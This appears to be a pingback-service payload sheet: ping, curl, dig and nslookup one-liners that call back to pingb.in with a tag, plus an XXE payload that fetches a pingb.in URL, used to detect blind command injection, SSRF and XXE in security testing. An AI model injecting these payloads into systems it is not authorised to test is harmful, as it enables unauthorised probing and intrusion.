$ ping -c1 -p 00fbfe17738cb6bab243c63cc3135c00 pingb.in
$ curl pingb.in/p/fbfe17738cb6bab243c63cc3135c
$ dig fbfe17738cb6bab243c63cc3135c @pingb.in
$ dig fbfe17738cb6bab243c63cc3135c.ns.pingb.in
C:\> nslookup fbfe17738cb6bab243c63cc3135c pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/fbfe17738cb6bab243c63cc3135c">]> <foo>&xxe;</foo>